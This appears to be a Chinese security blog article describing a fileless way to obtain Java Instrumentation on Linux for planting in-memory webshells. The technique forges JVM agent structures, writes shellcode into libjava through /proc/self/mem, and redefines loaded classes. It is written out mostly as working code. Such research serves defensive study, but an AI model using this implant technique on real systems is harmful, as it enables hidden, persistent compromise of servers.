Linux下内存马进阶植入技术

  • A+
所属分类:安全文章

无agent文件的条件下使用Java Instrumentation API


序:Java Instrumentation API

从Java SE 5开始,可以使用Java的Instrumentation接口来编写Agent。如果需要在目标JVM启动的同时加载Agent,可以选择实现下面的方法:

 public static void premain(String agentArgs, Instrumentation inst); public static void premain(String agentArgs);

JVM将首先寻找[1],如果没有发现[1],再寻找[2]。如果希望在目标JVM运行时加载Agent,则需要实现下面的方法:

public static void agentmain(String agentArgs, Instrumentation inst);public static void agentmain(String agentArgs);

我们这里只讨论运行时加载的情况。Agent需要打包成一个jar包,在ManiFest属性中指定“Premain-Class”或者“Agent-Class”:

Premain-Class: classAgent-Class: class

生成agent.jar之后,可以通过com.sun.tools.attach.VirtualMachine的loadAgent方法加载:

private void attachAgentToTargetJVM() throws Exception {    List<VirtualMachineDescriptor> virtualMachineDescriptors = VirtualMachine.list();    VirtualMachineDescriptor targetVM = null;    for (VirtualMachineDescriptor descriptor : virtualMachineDescriptors) {        if (descriptor.id().equals(configure.getPid())) {            targetVM = descriptor;            break;        }    }    if (targetVM == null) {        throw new IllegalArgumentException("could not find the target jvm by process id:" + configure.getPid());    }    VirtualMachine virtualMachine = null;    try {        virtualMachine = VirtualMachine.attach(targetVM);        virtualMachine.loadAgent("{agent}", "{params}");    } catch (Exception e) {        if (virtualMachine != null) {            virtualMachine.detach();        }    }}

以上代码可以用反射实现,使用Java agent这种方式可以修改已有方法,java.lang.instrument.Instrumentation提供了如下方法:

public interface Instrumentation {    /**     * 加入一个转换器Transformer,之后的所有的类加载都会被Transformer拦截。     * ClassFileTransformer类是一个接口,使用时需要实现它,该类只有一个方法,该方法传递类的信息,返回值是转换后的类的字节码文件。     */   void addTransformer(ClassFileTransformer transformer, boolean canRetransform);    
/** * 对JVM已经加载的类重新触发类加载。使用的就是上面注册的Transformer。 * 该方法可以修改方法体、常量池和属性值,但不能新增、删除、重命名属性或方法,也不能修改方法的签名 */ void retransformClasses(Class<?>... classes) throws UnmodifiableClassException; /** *此方法用于替换类的定义,而不引用现有的类文件字节,就像从源代码重新编译以进行修复和继续调试时所做的那样。 *在要转换现有类文件字节的地方(例如在字节码插装中),应该使用retransformClasses。 *该方法可以修改方法体、常量池和属性值,但不能新增、删除、重命名属性或方法,也不能修改方法的签名 */ void redefineClasses(ClassDefinition... definitions)throws ClassNotFoundException, UnmodifiableClassException;
/** * 获取一个对象的大小 */ long getObjectSize(Object objectToSize); /** * 将一个jar加入到bootstrap classloader的 classpath里 */ void appendToBootstrapClassLoaderSearch(JarFile jarfile); /** * 获取当前被JVM加载的所有类对象 */ Class[] getAllLoadedClasses();}

可以使用redefineClasses方法完成对类方法的修改,结合javassist可以说是非常方便:

public static void agentmain(String args, Instrumentation inst) throws Exception {    Class[] loadedClasses = inst.getAllLoadedClasses();    for (int i = 0; i < loadedClasses.length; ++i) {        Class clazz = loadedClasses[i];        if (clazz.getName().equals("com.huawei.xxxx")) {            try {                ClassPool classPool = ClassPool.getDefault();                CtClass ctClass = classPool.get(clazz.getName());                ctClass.stopPruning(true);
// javaassist freezes methods if their bytecode is saved // defrost so we can still make changes. if (ctClass.isFrozen()) { ctClass.defrost(); }
CtMethod method; // populate this from ctClass however you wish
method.insertBefore("{ System.out.println("Wheeeeee!"); }"); byte[] bytecode = ctClass.toBytecode();
ClassDefinition definition = new ClassDefinition(Class.forName(clazz.getName()), bytecode); inst.redefineClasses(definition); } catch (Exception var9) { var9.printStackTrace(); } } }}

能否直接构造Instrumentation对象?

使用Java Instrumentation API的一个前提条件就是必须提供agent.jar,这是一个必须要放在硬盘上的文件。要解决这个问题,需要先识别问题的关键点:前面所有的编译生成agent.jar、loadagent加载最后都是为了产生Instrumentation对象,通过这个对象提供的redefineClasses方法,只需要提供字节码就可以完成类修改。java.lang.instrument.Instrumentation只是一个接口,它的实现类是:

/** * The Java side of the JPLIS implementation. Works in concert with a native JVMTI agent * to implement the JPLIS API set. Provides both the Java API implementation of * the Instrumentation interface and utility Java routines to support the native code. * Keeps a pointer to the native data structure in a scalar field to allow native * processing behind native methods. */public class InstrumentationImpl implements Instrumentation {    private final     TransformerManager      mTransformerManager;    private           TransformerManager      mRetransfomableTransformerManager;    // needs to store a native pointer, so use 64 bits    private final     long                    mNativeAgent;    private final     boolean                 mEnvironmentSupportsRedefineClasses;    private volatile  boolean                 mEnvironmentSupportsRetransformClassesKnown;    private volatile  boolean                 mEnvironmentSupportsRetransformClasses;    private final     boolean                 mEnvironmentSupportsNativeMethodPrefix;
private InstrumentationImpl(long nativeAgent, boolean environmentSupportsRedefineClasses, boolean environmentSupportsNativeMethodPrefix) { mTransformerManager = new TransformerManager(false); mRetransfomableTransformerManager = null; mNativeAgent = nativeAgent; mEnvironmentSupportsRedefineClasses = environmentSupportsRedefineClasses; mEnvironmentSupportsRetransformClassesKnown = false; // false = need to ask mEnvironmentSupportsRetransformClasses = false; // don't know yet mEnvironmentSupportsNativeMethodPrefix = environmentSupportsNativeMethodPrefix; }
...
public void redefineClasses(ClassDefinition... definitions) throws ClassNotFoundException { if (!isRedefineClassesSupported()) { throw new UnsupportedOperationException("redefineClasses is not supported in this environment"); } if (definitions == null) { throw new NullPointerException("null passed as 'definitions' in redefineClasses"); } for (int i = 0; i < definitions.length; ++i) { if (definitions[i] == null) { throw new NullPointerException("element of 'definitions' is null in redefineClasses"); } } if (definitions.length == 0) { return; // short-circuit if there are no changes requested }
redefineClasses0(mNativeAgent, definitions); }
private native void redefineClasses0(long nativeAgent, ClassDefinition[] definitions) throws ClassNotFoundException;
...
}

该类java.sun.instrument.InstrumentationImpl的构造函数私有,但使用反射仍然可以调用。重点关注这个参数nativeAgent,这是一个native的指针,那么如果我们能提供这个指针,就可以不通过加载agent文件的方式实现修改类代码。

如何获得nativeAgent指针?

继续翻看Hotspot代码

public class InstrumentationImpl implements Instrumentation {    ...
public void redefineClasses(ClassDefinition... definitions) throws ClassNotFoundException { if (!isRedefineClassesSupported()) { throw new UnsupportedOperationException("redefineClasses is not supported in this environment"); } if (definitions == null) { throw new NullPointerException("null passed as 'definitions' in redefineClasses"); } for (int i = 0; i < definitions.length; ++i) { if (definitions[i] == null) { throw new NullPointerException("element of 'definitions' is null in redefineClasses"); } } if (definitions.length == 0) { return; // short-circuit if there are no changes requested }
redefineClasses0(mNativeAgent, definitions); }
private native void redefineClasses0(long nativeAgent, ClassDefinition[] definitions) throws ClassNotFoundException;
...}

可以看到mNativeAgent变量经由redefineClasses0函数,经JNI方法传递到了native层代码。

/* * Class:     sun_instrument_InstrumentationImpl * Method:    redefineClasses0 * Signature: ([Ljava/lang/instrument/ClassDefinition;)V */JNIEXPORT void JNICALL Java_sun_instrument_InstrumentationImpl_redefineClasses0  (JNIEnv * jnienv, jobject implThis, jlong agent, jobjectArray classDefinitions) {    redefineClasses(jnienv, (JPLISAgent*)(intptr_t)agent, classDefinitions);}
/* * Java code must not call this with a null list or a zero-length list. */voidredefineClasses(JNIEnv * jnienv, JPLISAgent * agent, jobjectArray classDefinitions) { jvmtiEnv* jvmtienv = jvmti(agent); jboolean errorOccurred = JNI_FALSE; jclass classDefClass = NULL; jmethodID getDefinitionClassMethodID = NULL; jmethodID getDefinitionClassFileMethodID = NULL; jvmtiClassDefinition* classDefs = NULL; jbyteArray* targetFiles = NULL; jsize numDefs = 0;
jplis_assert(classDefinitions != NULL);
numDefs = (*jnienv)->GetArrayLength(jnienv, classDefinitions); errorOccurred = checkForThrowable(jnienv); jplis_assert(!errorOccurred);
if (!errorOccurred) { jplis_assert(numDefs > 0); /* get method IDs for methods to call on class definitions */ classDefClass = (*jnienv)->FindClass(jnienv, "java/lang/instrument/ClassDefinition"); errorOccurred = checkForThrowable(jnienv); jplis_assert(!errorOccurred); }
...}

可以看到这个agent指针的结构类型为JPLISAgent,它的定义如下:

struct _JPLISAgent {    JavaVM *                mJVM;                   /* handle to the JVM */    JPLISEnvironment        mNormalEnvironment;     /* for every thing but retransform stuff */    JPLISEnvironment        mRetransformEnvironment;/* for retransform stuff only */    jobject                 mInstrumentationImpl;   /* handle to the Instrumentation instance */    jmethodID               mPremainCaller;         /* method on the InstrumentationImpl that does the premain stuff (cached to save lots of lookups) */    jmethodID               mAgentmainCaller;       /* method on the InstrumentationImpl for agents loaded via attach mechanism */    jmethodID               mTransform;             /* method on the InstrumentationImpl that does the class file transform */    jboolean                mRedefineAvailable;     /* cached answer to "does this agent support redefine" */    jboolean                mRedefineAdded;         /* indicates if can_redefine_classes capability has been added */    jboolean                mNativeMethodPrefixAvailable; /* cached answer to "does this agent support prefixing" */    jboolean                mNativeMethodPrefixAdded;     /* indicates if can_set_native_method_prefix capability has been added */    char const *            mAgentClassName;        /* agent class name */    char const *            mOptionsString;         /* -javaagent options string */};
struct _JPLISEnvironment { jvmtiEnv * mJVMTIEnv; /* the JVM TI environment */ JPLISAgent * mAgent; /* corresponding agent */ jboolean mIsRetransformer; /* indicates if special environment */};

redefineClasses的第一行代码是jvmtiEnv*   jvmtienv                        = jvmti(agent), 这个jvmti是个宏:

#define jvmti(a) a->mNormalEnvironment.mJVMTIEnv

在Java SE 5以前,就支持通过C/C++语言实现JVMTI agent,Java Instrumentation API的底层就是通过这种方式实现的。开发agent时,需要包含位于JDK include目录下的jvmti.h,这里面定义了使用JVMTI所用到的函数、事件、数据类型和常量,最后agent会被编译成一个动态库。JVMTI的函数调用与JNI相似,可以通过一个接口指针来访问JVMTI的函数。JVMTI的接口指针称为环境指针(environment pointer),环境指针是指向执行环境的指针,其类型为jvmtiEnv*。

jvmtiEnv *jvmti;...jvmtiError err = (*jvmti)->GetLoadedClasses(jvmti, &class_count, &classes);

jvmtiEnv也同样提供了RedefineClasses函数,Java Instrumentation API同样功能就是封装于此之上。

jvmtiError RedefineClasses(jint class_count,        const jvmtiClassDefinition* class_definitions) {return functions->RedefineClasses(this, class_count, class_definitions);}

那么问题进一步的变为:怎样得到jvmtiEnv指针。

JPLISAgent实例是如何创建的?

继续查看Hotspot代码

/* *  Creates a new JPLISAgent. *  Returns error if the agent cannot be created and initialized. *  The JPLISAgent* pointed to by agent_ptr is set to the new broker, *  or NULL if an error has occurred. */JPLISInitializationErrorcreateNewJPLISAgent(JavaVM * vm, JPLISAgent **agent_ptr) {    JPLISInitializationError initerror       = JPLIS_INIT_ERROR_NONE;    jvmtiEnv *               jvmtienv        = NULL;    jint                     jnierror        = JNI_OK;
*agent_ptr = NULL; jnierror = (*vm)->GetEnv( vm, (void **) &jvmtienv, JVMTI_VERSION_1_1); if ( jnierror != JNI_OK ) { initerror = JPLIS_INIT_ERROR_CANNOT_CREATE_NATIVE_AGENT; } else { JPLISAgent * agent = allocateJPLISAgent(jvmtienv); if ( agent == NULL ) { initerror = JPLIS_INIT_ERROR_ALLOCATION_FAILURE; } else { initerror = initializeJPLISAgent( agent, vm, jvmtienv); if ( initerror == JPLIS_INIT_ERROR_NONE ) { *agent_ptr = agent; } else { deallocateJPLISAgent(jvmtienv, agent); } }
/* don't leak envs */ if ( initerror != JPLIS_INIT_ERROR_NONE ) { jvmtiError jvmtierror = (*jvmtienv)->DisposeEnvironment(jvmtienv); /* can be called from any phase */ jplis_assert(jvmtierror == JVMTI_ERROR_NONE); } }
return initerror;}
JPLISInitializationErrorinitializeJPLISAgent( JPLISAgent * agent, JavaVM * vm, jvmtiEnv * jvmtienv) { jvmtiError jvmtierror = JVMTI_ERROR_NONE; jvmtiPhase phase;
agent->mJVM = vm; agent->mNormalEnvironment.mJVMTIEnv = jvmtienv; agent->mNormalEnvironment.mAgent = agent; agent->mNormalEnvironment.mIsRetransformer = JNI_FALSE; agent->mRetransformEnvironment.mJVMTIEnv = NULL; /* NULL until needed */ agent->mRetransformEnvironment.mAgent = agent; agent->mRetransformEnvironment.mIsRetransformer = JNI_FALSE; /* JNI_FALSE until mJVMTIEnv is set */ agent->mAgentmainCaller = NULL; agent->mInstrumentationImpl = NULL; agent->mPremainCaller = NULL; agent->mTransform = NULL; agent->mRedefineAvailable = JNI_FALSE; /* assume no for now */ agent->mRedefineAdded = JNI_FALSE; agent->mNativeMethodPrefixAvailable = JNI_FALSE; /* assume no for now */ agent->mNativeMethodPrefixAdded = JNI_FALSE; agent->mAgentClassName = NULL; agent->mOptionsString = NULL; ...}

agent实例是通过native函数createNewJPLISAgent创建的,该函数是内部函数,没有从动态库中导出,Java层也没办法直接调用。那么思路还得回到jvmtiEnv指针上去。

*agent_ptr = NULL;    jnierror = (*vm)->GetEnv(  vm,                               (void **) &jvmtienv,                               JVMTI_VERSION_1_1);

从以上代码我们可知,jvmtiEnv可以通过JavaVM对象获得。而关于JavaVM对象,在JDK的jni.h中,有定义导出方法:

_JNI_IMPORT_OR_EXPORT_ jint JNICALL JNI_GetCreatedJavaVMs(JavaVM **, jsize, jsize *);

该方法由libjvm.so中导出,即使so经过strip,符号也一定是存在的。因此我们可以通过此API获得JavaVM对象,通过JavaVM对象就能获得jvmtiEnv指针。

伪造JPLISAgent实例

JPLISAgent结构中虽然有很多成员,但分析Instrumentation对象中我们需要使用的redefineClasses等方法的native实现

public class InstrumentationImpl implements Instrumentation {    private native void    redefineClasses0(long nativeAgent, ClassDefinition[]  definitions)        throws  ClassNotFoundException;
@SuppressWarnings("rawtypes") private native Class[] getAllLoadedClasses0(long nativeAgent);
...}

它们都只是从agent中获取jvmtiEnv指针,之后都没有再使用agent的其他成员

jobjectArraycommonGetClassList( JNIEnv *            jnienv,                    JPLISAgent *        agent,                    jobject             classLoader,                    ClassListFetcher    fetcher) {    jvmtiEnv *      jvmtienv        = jvmti(agent);
...voidredefineClasses(JNIEnv * jnienv, JPLISAgent * agent, jobjectArray classDefinitions) { jvmtiEnv* jvmtienv = jvmti(agent);
...

那么我们只需要使用unsafe方法,申请一段内存,并在对应的偏移上放置jvmtiEnv指针值,就完成了JPLISAgent实例的构造。关键问题还是要解决获取jvmtiEnv指针。

如何在Java层调用native接口?

获取jvmtienv指针,可以采用暴力搜索内存的方式,但是这种方法很难做到通用。jvmtienv实例中有固定不变的4字节魔术字0x71EE,this指针就是jvmtiEnv指针。

//JVMTI_MAGIC    = 0x71EE,bool __fastcall JvmtiEnvBase::is_valid(JvmtiEnvBase *this){  return *((_DWORD *)this + 2) == 0x71EE;}

稳定的办法就是上文分析的,通过JavaVM对象来获取。

struct JavaVM_ {    const struct JNIInvokeInterface_ *functions;#ifdef __cplusplus
jint DestroyJavaVM() { return functions->DestroyJavaVM(this); } jint AttachCurrentThread(void **penv, void *args) { return functions->AttachCurrentThread(this, penv, args); } jint DetachCurrentThread() { return functions->DetachCurrentThread(this); }
jint GetEnv(void **penv, jint version) { return functions->GetEnv(this, penv, version); } jint AttachCurrentThreadAsDaemon(void **penv, void *args) { return functions->AttachCurrentThreadAsDaemon(this, penv, args); }#endif};

JavaVM对象其实也只是一个函数指针数组,不存在固定不变的魔术字。如果要通过JNI_GetCreatedJavaVMs方法获得,在Java层怎么调用它呢?
Java层想要调用native方法,常规做法是通过JNI,这种办法仍然需要提供一个so文件,然后通过dlopen的方式加载,这显然与本文初衷不符。不通过JNI能不能做到?至少在Linux是能做到的。
参考如下代码

#include <fstream>#include <iostream>#include <sys/mman.h>
/* Write @len bytes at @ptr to @addr in this address space using * /proc/self/mem. */void memwrite(void *addr, char *ptr, size_t len) { std::ofstream ff("/proc/self/mem"); ff.seekp(reinterpret_cast<size_t>(addr)); ff.write(ptr, len); ff.flush();}
int main(int argc, char **argv) { // Map an unwritable page. (read-only) auto mymap = (int *)mmap(NULL, 0x9000, PROT_READ, // <<<<<<<<<<<<<<<<<<<<< READ ONLY <<<<<<<< MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (mymap == MAP_FAILED) { std::cout << "FAILEDn"; return 1; }
std::cout << "Allocated PROT_READ only memory: " << mymap << "n"; getchar();
// Try to write to the unwritable page. memwrite(mymap, "x40x41x41x41", 4); std::cout << "did mymap[0] = 0x41414140 via proc self mem.."; getchar(); std::cout << "mymap[0] = 0x" << std::hex << mymap[0] << "n"; getchar();
// Try to writ to the text segment (executable code) of libc. auto getchar_ptr = (char *)getchar; memwrite(getchar_ptr, "xcc", 1);
// Run the libc function whose code we modified. If the write worked, // we will get a SIGTRAP when the 0xcc executes. getchar();}

编译执行后,得到结果

[email protected]16:~# ./proc_mem_poc Allocated PROT_READ only memory: 0x7f4390429000
did mymap[0] = 0x41414140 via proc self mem..mymap[0] = 0x41414140
Trace/breakpoint trap (core dumped)

以上代码示例说明,Linux下进程可以通过/proc/self/mem修改自身内存,即使是只读内存也可以修改。示例代码修改了getchar函数的开头为int3,结果真的执行了。
使用Java代码读写/proc/self/mem是完全没问题的,而Java原生就有很多JNI的native方法,比如libjava.so中的

Java_java_lang_ClassLoader_registerNatives等等很多。
如果先修改Java_java_lang_ClassLoader_registerNatives的代码为我想要的,然后再主动调用ClassLoader.registerNatives,就实现了native层的任意代码执行。然后再还原代码,一切好像从未发生过!
那么关键问题就变为:如何获取

Java_java_lang_ClassLoader_registerNatives地址

Java查找ELF导出符号

再次得益于LINUX下的/proc文件系统,我们可以从/proc/self/maps轻易的获取所有已加载ELF对象的基址及文件路径

7fcbb8c0d000-7fcbb9a95000 r-xp 00000000 fc:01 1179725                    /CloudResetPwdUpdateAgent/depend/jre1.8.0_232/lib/amd64/server/libjvm.so7fcbb9a95000-7fcbb9c95000 ---p 00e88000 fc:01 1179725                    /CloudResetPwdUpdateAgent/depend/jre1.8.0_232/lib/amd64/server/libjvm.so7fcbb9c95000-7fcbb9d33000 r--p 00e88000 fc:01 1179725                    /CloudResetPwdUpdateAgent/depend/jre1.8.0_232/lib/amd64/server/libjvm.so7fcbb9d33000-7fcbb9d5c000 rw-p 00f26000 fc:01 1179725                    /CloudResetPwdUpdateAgent/depend/jre1.8.0_232/lib/amd64/server/libjvm.so

那么获取导出符号就变得非常简单,直接打开ELF文件解析得到对应符号地址,然后再加上库基址即可。对于x64 ELF的实例代码如下:

static long find_symbol(String elfpath, String sym, long libbase) throws IOException{    long func_ptr = 0;    RandomAccessFile fin = new RandomAccessFile(elfpath, "r");        byte[] e_ident = new byte[16];    fin.read(e_ident);    short e_type = Short.reverseBytes(fin.readShort());    short e_machine = Short.reverseBytes(fin.readShort());    int e_version = Integer.reverseBytes(fin.readInt());    long e_entry = Long.reverseBytes(fin.readLong());    long e_phoff = Long.reverseBytes(fin.readLong());    long e_shoff = Long.reverseBytes(fin.readLong());    int e_flags = Integer.reverseBytes(fin.readInt());    short e_ehsize = Short.reverseBytes(fin.readShort());    short e_phentsize = Short.reverseBytes(fin.readShort());    short e_phnum = Short.reverseBytes(fin.readShort());    short e_shentsize = Short.reverseBytes(fin.readShort());    short e_shnum = Short.reverseBytes(fin.readShort());    short e_shstrndx = Short.reverseBytes(fin.readShort());                int sh_name = 0;    int sh_type = 0;    long sh_flags = 0;    long sh_addr = 0;    long sh_offset = 0;    long sh_size = 0;    int sh_link = 0;    int sh_info = 0;    long sh_addralign = 0;    long sh_entsize = 0;        for(int i = 0; i < e_shnum; ++i) {        fin.seek(e_shoff + i*64);        sh_name = Integer.reverseBytes(fin.readInt());        sh_type = Integer.reverseBytes(fin.readInt());        sh_flags = Long.reverseBytes(fin.readLong());        sh_addr = Long.reverseBytes(fin.readLong());        sh_offset = Long.reverseBytes(fin.readLong());        sh_size = Long.reverseBytes(fin.readLong());        sh_link = Integer.reverseBytes(fin.readInt());        sh_info = Integer.reverseBytes(fin.readInt());        sh_addralign = Long.reverseBytes(fin.readLong());        sh_entsize = Long.reverseBytes(fin.readLong());        if(sh_type == SHT_DYNSYM) {            break;        }    }        int symtab_shdr_sh_link = sh_link;    long symtab_shdr_sh_size = sh_size;    long symtab_shdr_sh_entsize = sh_entsize;    long symtab_shdr_sh_offset = sh_offset;        fin.seek(e_shoff + symtab_shdr_sh_link * e_shentsize);    sh_name = Integer.reverseBytes(fin.readInt());    sh_type = Integer.reverseBytes(fin.readInt());    sh_flags = Long.reverseBytes(fin.readLong());    sh_addr = Long.reverseBytes(fin.readLong());    sh_offset = Long.reverseBytes(fin.readLong());    sh_size = Long.reverseBytes(fin.readLong());    sh_link = Integer.reverseBytes(fin.readInt());    sh_info = Integer.reverseBytes(fin.readInt());    sh_addralign = Long.reverseBytes(fin.readLong());    sh_entsize = Long.reverseBytes(fin.readLong());        long symstr_shdr_sh_offset = sh_offset;        long cnt = symtab_shdr_sh_entsize > 0 ? symtab_shdr_sh_size/symtab_shdr_sh_entsize : 0;    for(long i = 0; i < cnt; ++i) {        fin.seek(symtab_shdr_sh_offset + symtab_shdr_sh_entsize*i);        int st_name = Integer.reverseBytes(fin.readInt());        byte st_info = fin.readByte();        byte st_other = fin.readByte();        short st_shndx = Short.reverseBytes(fin.readShort());        long st_value = Long.reverseBytes(fin.readLong());        long st_size = Long.reverseBytes(fin.readLong());        if(st_value == 0            || st_name == 0            || (ELF_ST_TYPE(st_info) != STT_FUNC && ELF_ST_TYPE(st_info) != STT_GNU_IFUNC))        {            continue;        }                fin.seek(symstr_shdr_sh_offset + st_name);        String name = "";        byte ch = 0;        while((ch = fin.readByte()) != 0)        {            name += (char)ch;        }                if(sym.equals(name))        {            func_ptr = libbase + st_value;            break;        }    }        fin.close();        return func_ptr;}

最后的步骤

为了能从native层得到返回值到java层,我们需要找一个返回值为long的native方法,把shellcode植入到它的开头。

void * shellcode(){    struct JavaVM_ * vm;    jsize count;    JNI_GetCreatedJavaVMs(&vm, 1, &count);    struct jvmtiEnv_ * _jvmti_env;     vm->functions->GetEnv(vm, (void **)&_jvmti_env, JVMTI_VERSION_1_2);    return _jvmti_env;}

转换为shellcode

movabs  rax, _JNI_GetCreatedJavaVMssub     rsp, 20hxor     rsi, rsiinc     rsilea     rdx, [rsp+4]lea     rdi, [rsp+8]call    raxmov     rdi, [rsp+8]lea     rsi, [rsp+10h]mov     edx, 30010200hmov     rax, [rdi]call    qword ptr [rax+30h]mov     rax, [rsp+10h]add     rsp, 20hret

后来我选择了libjava.so中的Java_java_io_RandomAccessFile_length。使用unsafe申请一段内存,并在偏移8(x64下指针长度为8)的位置上放置jvmtienv指针

long JPLISAgent = unsafe.allocateMemory(0x1000);unsafe.putLong(JPLISAgent + 8, native_jvmtienv);

再通过反射最终得到InstrumentationImpl对象

try {    Class<?> instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl");    Constructor<?> constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class);    constructor.setAccessible(true);    Object insn = constructor.newInstance(JPLISAgent, true, false);    Method getAllLoadedClasses = instrument_clazz.getMethod("getAllLoadedClasses");    Class<?>[] clazzes = (Class<?>[]) getAllLoadedClasses.invoke(insn);        for(Class<?> cls : clazzes) {        System.out.println(cls.getName());    }    }catch(Exception e) {    System.out.println("Exception: " + e.getMessage());}

需要注意的是,在Java11中sun.instrument包已不再可引用。这里已经可以获取所有加载的类。

意外

在正确查找得到jvmtienv指针之后,执行redefineClasses会报异常

Java_java_io_RandomAccessFile_length 0x7fb29c485e40JNI_GetCreatedJavaVMs 0x7fb29d52b650native_jvmtienv 7fb2980ef070
Exception: null

使用调试工具跟踪,在函数redefineClasses中会调用

voidredefineClasses(JNIEnv * jnienv, JPLISAgent * agent, jobjectArray classDefinitions) {    jvmtiEnv*   jvmtienv                        = jvmti(agent);    jboolean    errorOccurred                   = JNI_FALSE;    jclass      classDefClass                   = NULL;    jmethodID   getDefinitionClassMethodID      = NULL;    ...    if (!errorOccurred) {                    jvmtiError  errorCode = JVMTI_ERROR_NONE;                    errorCode = (*jvmtienv)->RedefineClasses(jvmtienv, numDefs, classDefs);                    if (errorCode == JVMTI_ERROR_WRONG_PHASE) {                        /* insulate caller from the wrong phase error */                        errorCode = JVMTI_ERROR_NONE;                    } else {                        errorOccurred = (errorCode != JVMTI_ERROR_NONE);                        if ( errorOccurred ) {                            createAndThrowThrowableFromJVMTIErrorCode(jnienv, errorCode);                        }                    }                }    ...}

这个(*jvmtienv)->RedefineClasses调用,暂时没找到源码,在IDA中逆向的结果如下

__int64 __fastcall jvmti_RedefineClasses(JvmtiEnvBase *this, JavaThread *a2, __int64 a3){  int v4; // er15  unsigned int v5; // er12  void *v7; // rax  unsigned __int64 v8; // r14  unsigned __int64 v9; // rsi  __int64 v10; // rbx  _QWORD *v11; // rax  _QWORD *v12; // r13  signed __int32 v13; // [rsp+0h] [rbp-60h] BYREF  CautiouslyPreserveExceptionMark *v14; // [rsp+8h] [rbp-58h]  char v15[40]; // [rsp+10h] [rbp-50h] BYREF
v4 = (int)a2; v5 = 112; if ( JvmtiEnvBase::_phase == 4 ) { v7 = pthread_getspecific(ThreadLocalStorage::_thread_index); v8 = (unsigned __int64)v7; if ( v7 && (*(unsigned __int8 (__fastcall **)(void *))(*(_QWORD *)v7 + 40LL))(v7) ) { *(_DWORD *)(v8 + 624) = 5; if ( os::_processor_count != 1 || AssumeMP ) { if ( UseMembar ) { if ( os::_processor_count != 1 || AssumeMP ) _InterlockedAdd(&v13, 0); } else { *(_DWORD *)((char *)os::_mem_serialize_page + ((unsigned int)(v8 >> 4) & (unsigned int)os::_serialize_page_mask)) = 1; } } if ( SafepointSynchronize::_state || (*(_DWORD *)(v8 + 48) & 0x30000000) != 0 ) JavaThread::check_safepoint_and_suspend_for_native_trans((JavaThread *)v8, a2); *(_DWORD *)(v8 + 624) = 6; v9 = v8; v5 = 116; v14 = (CautiouslyPreserveExceptionMark *)v15; CautiouslyPreserveExceptionMark::CautiouslyPreserveExceptionMark( (CautiouslyPreserveExceptionMark *)v15, (Thread *)v8); if ( (unsigned __int8)JvmtiEnvBase::is_valid(this) ) { v5 = 99; if ( (*((_BYTE *)this + 361) & 2) != 0 ) <--- 这个位置校验不过,需要令它为2 { v5 = 103; if ( v4 >= 0 ) { v5 = 100; if ( a3 ) { v9 = (unsigned int)v4; v5 = JvmtiEnv::RedefineClasses(this, (unsigned int)v4, a3); } } } ...}

因此需要用unsafe设置一下

unsafe.putByte(native_jvmtienv + 361, (byte2);

测试

修改java.io.RandomAccessFile的getFD方法,插入打印语句

public static void main(String[] args) {    ClassPool pool = ClassPool.getDefault();    CtClass string_clazz = null;    try {        string_clazz = pool.get("java.io.RandomAccessFile");        CtMethod method_getname = string_clazz.getDeclaredMethod("getFD");        method_getname.insertBefore("System.out.println("hi, from java instrucment api");");        string_clazz.writeFile("D:\1.txt");    } catch (NotFoundException e) {        // TODO Auto-generated catch block        e.printStackTrace();    } catch (CannotCompileException e) {        // TODO Auto-generated catch block        e.printStackTrace();    } catch (IOException e) {        // TODO Auto-generated catch block        e.printStackTrace();    }}

从1.txt文件夹里读取类的字节码

try {    Class<?> instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl");    Constructor<?> constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class);    constructor.setAccessible(true);    Object inst = constructor.newInstance(JPLISAgent, true, false);        //修改过的java.io.RandomAccessFile    byte hexData[] = {            ... //太长省略     };        ClassDefinition definition = new ClassDefinition(Class.forName("java.io.RandomAccessFile"), hexData);    Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class);    redefineClazz.invoke(inst, new Object[] {            new ClassDefinition[] {                    definition                    }            });}catch(Exception e) {    System.out.println("Exception: " + e.getMessage());}
fout.getFD();

正确输出结果

Java_java_io_RandomAccessFile_length 0x7fd720689e40JNI_GetCreatedJavaVMs 0x7fd72172f650native_jvmtienv 7fd71c0e71d0
hi, from java instrucment api

完整代码请参考:https://github.com/bigBestWay/ice

结语

要在不提供agent文件的条件下完成Java Instrument,有如下步骤:

  1. 解析ELF,得到Java_java_io_RandomAccessFile_length和JNI_GetCreatedJavaVMs

  2. 生成利用JNI_GetCreatedJavaVMs获取jvmtienv指针的shellcode

  3. 在Java_java_io_RandomAccessFile_length放置shellcode并调用

  4. 恢复Java_java_io_RandomAccessFile_length代码

  5. 利用unsafe伪造agent实例

  6. 利用反射实例化sun.instrument.InstrumentationImpl

  7. 使用此对象修改类

参考

rebeyond 《Java内存攻击技术漫谈》
https://mp.weixin.qq.com/s/JIjBjULjFnKDjEhzVAtxhw


本文始发于微信公众号(SilverNeedleLab):Linux下内存马进阶植入技术

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: